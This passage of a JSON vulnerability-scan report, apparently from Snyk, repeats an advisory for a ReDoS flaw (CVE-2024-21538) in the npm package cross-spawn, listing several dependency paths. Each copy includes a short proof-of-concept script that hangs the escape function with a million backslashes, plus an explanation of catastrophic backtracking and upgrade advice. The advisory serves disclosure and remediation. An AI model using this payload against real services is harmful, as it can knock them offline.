"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.6.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"node-gyp@10.1.0",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@10.9.2",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
